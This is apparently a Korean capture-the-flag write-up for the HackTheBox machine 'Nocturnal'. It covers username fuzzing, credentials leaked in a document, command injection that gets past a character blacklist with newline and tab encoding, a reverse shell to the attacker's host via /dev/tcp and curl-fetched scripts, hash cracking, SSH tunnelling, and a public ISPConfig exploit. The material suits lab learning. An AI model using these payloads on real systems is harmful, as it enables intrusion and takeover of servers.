▌ TRANSMISSION · [HTB]

[EASY_LINUX] Nocturnal write-up


alt text

우선 포트 스캔을 때려봤다.

  ~ sudo nmap 10.129.19.44 -sC -sV -p- --open --min-rate 2000
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-14 07:00 +0900
Nmap scan report for 10.129.19.44
Host is up (0.40s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.16 seconds

스캔 결과 22, 80 포트가 열려있음을 확인했다.

우선 ssh에 바로 접근은 어려워 보이니, 웹서비스부터 접속해보자.

/etc/hosts 에 nocturnal.htb 를 매핑해서 접속해보면,

alt text

이런 페이지가 나온다.

로그인과 회원가입 로직이 있는 것 같고, 페이지 소스 코드를 확인해보니

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Welcome to Nocturnal</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="container">
        <h1>Welcome to Nocturnal</h1>
        <p>Please <a href="login.php">login</a> or <a href="register.php">register</a> to start uploading and viewing your files.</p>

        <h2>Why Use Nocturnal?</h2>
        <ul>
            <li><strong>Seamless Uploads:</strong> Easily upload Word, Excel, and PDF documents with just a few clicks.</li>
            <li><strong>Access Anytime, Anywhere:</strong> Access your files from any device, ensuring flexibility and convenience.</li>
            <li><strong>User-Friendly Interface:</strong> Enjoy a simple and intuitive interface that makes file management effortless.</li>
            <li><strong>Collaboration Features:</strong> Share your documents with others for easy collaboration and feedback.</li>
            <li><strong>Regular Backups:</strong> Your files are backed up regularly, preventing loss and ensuring reliability.</li>
            <li><strong>24/7 Support:</strong> Our dedicated support team is available around the clock to assist you with any issues.</li>
        </ul>
        <h2>Contact Us</h2>
        <p>If you have any questions or need assistance, please reach out to us at <a href="mailto:support@nocturnal.htb">support@nocturnal.htb</a>.</p>
    </div>
</body>
</html>

php 언어로 동작을 하고 있었다. 추후 파일 업로드와 같은 취약점이 발견되면 웹쉘을 이용해볼 수 있을 것 같다.

우선 디렉터리 버스팅이 시간이 많이 소요될 수 있으니 돌려놓고, login.php와 register.php를 확인해봤다.

gobuster dir -u "http://nocturnal.htb/" -w /usr/share/wordlists/dirb/common.txt -x php

로그인으로 여러 기본 계정들을 시도해봤지만, 로그인이 되지 않아서 회원가입을 진행 후 로그인을 해보았다.

  • username : tester
  • password : tester

로그인을 해보면,

alt text

dashboard.php 라는 페이지로 이동되며, 파일 업로드를 할 수 있는 화면이 보인다.

간단하게 파일을 php 확장자의 파일도 업로드가 되는지 확인해봤다.

<?php  
echo "ok";  
?>

업로드 해보면 좌측 상단에 Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed. 라는 오류를 띄우는 것을 볼 수 있다.

이를 우회하기 위해 여러가지 방법을 떠올려볼 수 있다.

  • 타입 변조
  • 확장자 변조 (대소문자, 다른 확장자랑 같이 사용)
  • .htaccess 같은 파일 확인

우선 확장자들부터 바꿔서 올려봤다.

alt text

유일하게 test.php.pdf 만 성공했는데, 아무래도 마지막에 오는 확장자를 확인하는게 아닐까 싶었다.

다음으로는 버프스위트로 타입 변조를 시도해봤다.

alt text

패킷을 잡아보니, 애초에 body쪽에서 boundary를 통해 데이터 처리 방식을 정해주고 있었다. (처음부터 패킷부터 볼껄…)

Content-Type을 application/x-php에서 application/pdf 로 바꿔서 전송해봤다.

alt text

Content-Type보다 다른 방식으로 확장자를 체크하고 있는 것으로 보인다.

이 시점에 버스팅이 끝나서 뭐가 있나 보니,

alt text

요런 것들이 있었는데, uploads에 올라가는 것 같으나 접근이 불가능했고, admin.php가 있는 것도 확인할 수 있었다.

view.php 가 어디서 사용되는건지 몰랐는데, 업로드에 성공한 파일에 접근하면 view.php가

alt text

이렇게 보여주고 있었다.

특이하게 username을 같이 사용하고 있었는데, 없는 유저명을 넣어서 보내보면

alt text

User not found 가 나온다.

이걸 보자마자 bruteforce를 해야할 것 같았다.

gobuster에 fuzz 옵션을 사용해서 파라미터 퍼징을 진행해봤다.

gobuster fuzz -u "http://nocturnal.htb/view.php?username=FUZZ&file=test.php.pdf" -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -H "Cookie: PHPSESSID=apttrfevbo7u6deu169dj9grt7"

근데 이렇게 때리니까, status 200만 잔뜩 나와서 어떤게 맞는 유저명인지 알 수가 없었다.

ai한테 필터링 걸고 싶다고 물어보니 gobuster 보다 ffuf 퍼저를 사용하라고 한다.

사용법은 동일했고, 뒤에 -fr 옵션으로 body 데이터를 정규표현식을 이용해 필터링할 수 있었다.

User not found가 뜨면 안되니까 이거를 필터링해서 다시 돌려봤다.

alt text

그랬더니, admin과 amanda, tobias 라는 유저명이 필터링과 다르게 결과를 얻어냈음을 확인할 수 있었다. (wordlist에 따라 결과가 달라질 수 있다.)

그래서 어떤 결과를 얻었는지 요청을 보내보니,

alt text

amanda한테서만 다운로드 가능한 파일이 있음을 확인했다.

http://nocturnal.htb/view.php?username=amanda&file=privacy.odt

접근하면 파일 하나가 다운로드 되는데, 그전에 .odt 확장자가 무슨 파일인지 알아봤다.

alt text

libreoffice로 열수 있다고 하니, 설치 후 바로 열어봤다.

libreoffice privacy.odt

alt text

내용을 살펴보면, amanda를 위해 임시 비밀번호를 발급했다는 이야기를 확인할 수 있으며 amanda가 임시 비밀번호를 사용하고 바꾸지 않았다면 해당 패스워드로 로그인 시도가 가능해보인다.

  • username : amanda
  • password : arHkG7HAI68X8s1J

로그인 해보면?

alt text

로그인에 성공하고, 좌측 상단에 Admin Panel로 이동할 수 있는것으로 보아 관리자 권한을 가진 유저임을 알 수 있다.

alt text

(ssh 접속은 안됐음… 조금 더 찾아봐야하는 듯 하다.)

Admin Panel로 가보면, php 파일들의 내용들을 확인해볼 수 있었다.

admin.php의 소스 코드에 중요한게 있을까 싶어서 둘러봤는데,

소스코드 윗부분에 cleanEntry가 정의되어 있고, 아랫부분에서 password 파라미터를 POST 방식으로 받을 때 해당 함수가 사용되는데, 블랙리스트 기반으로 문자열을 차단 중인 것을 알 수 있다.

맨 아래에 그 기능을 수행하는 폼을 볼 수 있는데 패스워드를 입력하면 파일 구조를 백업해주는? 그런 기능을 수행하는 것 같다.

아무 패스워드나 입력해보면,

alt text

요렇게 나오는데, 로그 내용이 압축할 때 출력되는 내용이랑 똑같다. (zip 압축 로그를 보면 저렇게 나옴)

패스워드를 입력하면 그 패스워드를 이용해 압축을 실행한다는건데, 그러면 zip 압축 명령이 사용되는건 아닌가 싶었다. (실제로 다운로드 해보면 zip 파일이 다운로드 됨.)

그게 쉘에서 명령어로 동작하는거라면? 블랙리스트 기반으로 막고 있는 문자열들의 특징들도 모두 command injection 을 막고 있다는 것을 유추할 수 있다.

실제로 블랙리스트의 문자를 사용하려고하면,

1234; whoami

alt text

실행이 안된다.

그렇게 어떤 것들로 우회할 수 있을까 하다가, 이전에 드림핵 워게임에서 space가 아닌 tab 형태로 명령어 구분자를 사용하는 방식이 떠올랐다. (new line 방식도 쓸 수 있어보인다.)

요걸 이용해서 페이로드를 구성한 뒤, burp에서 password 파라미터로 전달해보면?

1234%0Als%09-l
  • %0A : new line (linefeed)
  • %09 : tab

alt text

와와와와와와와와와와 (이게 되네;;)

곧바로 리버스 쉘을 따올 생각을 해보자.

bash -i >& /dev/tcp/10.10.14.101/1337 0>&1

가장 기본적인 리버스쉘 명령으로 페이로드를 구성해보려했는데, 생각해보니 &가 필터링된다.

그래서 이걸 shell.sh 로 만들어서 python 서버를 열고 bash로 실행시킬 생각을 했는데,

curl 10.10.14.101:8000/shell.sh | bash

이번에는 | 가 필터링 된다.

그래서 curl 명령으로 shell.sh를 /tmp 디렉터리에 넣는 것을 먼저 수행한 뒤, bash로 실행시켜보기로 했다.

서버 열고,

python3 -m http.server 8000
1234%0Acurl%0910.10.14.101:8000/shell.sh%09-o%09/tmp/revshell

alt text

업로드해준 뒤,

nc -lnvp 1337

리스너 열고,

1234%0Abash%09/tmp/revshell

보내면?

alt text

쉘까지 따냈다 ㅎ

쉘이 불안정하니, 안정화를 시켜준다.

script /dev/null -c bash

lateral movement가 필요해보이는데…

여기서 다시 어드민 패널로 돌아가 다른 php 파일들을 봤는데, view.php에서 sqlite3 를 사용해서 db와 통신하고 있음을 확인했다.

alt text

경로도 알아냈으니 nocturnal_database.db를 읽어보자.

(sqlite3 를 사용중이니 당연히(?) sqlite3가 깔려있겠찌?)

sqlite3 nocturnal_database.db

alt text

해시화된 패스워드도 얻을 수 있었다.

wordlist 기반으로 크랙해도 되지만 우선 crackstation에 돌려봤다.

crack 결과, tobias 라는 유저의 패스워드를 획득할 수 있었다.

alt text

  • username : tobias
  • password : slowmotionapocalypse

해당 계정으로 ssh 접속을 시도해봤다.

alt text

(짝짝짝짝~)

처음에는 sudo -l 이나 sudo 명령으로 권한 상승을 진행하는 방향으로 진행을 하려고 했는데, sudo 명령 자체가 막혀있었다.

그래서 ss 명령으로 소켓 상태들을 확인해봤는데,

alt text

8080포트로 로컬에 바인딩되고 있는 무언가를 발견했다.

ssh를 이용해서 local port forwarding을 진행해 ssh 터널링을 해보자.

공격자 쪽에서

ssh -L 2345:127.0.0.1:8080 tobias@10.129.232.23

를 실행하고, 127.0.0.1:2345 에 접속해보면

alt text

요런 사이트가 나온다. 지금까지 구한 계정으로는 접근이 안되니, ISPconfig가 뭔지 찾아보자.

ISP Config 패널은 리눅스 서버용 웹호스팅 관리 패널이다.
웹 브라우저에서 들어가서 웹사이트, 도메인, 메일, DNS, FTP, 데이터베이스 같은 서버 자원을 관리하는 관리자 페이지이다.

기본 계정이 admin:admin 이어서 요걸로 시도해봤는데 안됐다. tobias 쪽에서 돌아가고 있었으니, 동일한 비밀번호를 쓴다고 가정하고, admin:slowmotionapocalypse 을 해봤는데,,,

alt text

로그인에 성공했다!

그렇게 약 30분동안 사이트를 뒤져도 쓸만한 기능이 없어서 write-up를 볼까싶었는데,

alt text

Help 메뉴에서 ISPConfig 서비스의 버전을 확인할 수 있었다.

  • Version: 3.2.10p1

바로 공개된 CVE가 있는지 확인해봤다.

CVE-2023-46818

nomi-sec 들어가서 poc가 있는지 확인해봤다.

alt text

바로 실행해봤다.

python3 exploit.py http://127.0.0.1:2345 admin slowmotionapocalypse

alt text

익스까지 성공!

alt text

  • user flag : 9e17a87fbdfb06432aec6a605b053bc6
  • root flag : d129462e0edf60ffdf1da1e86f5ee96d

← ALL POSTS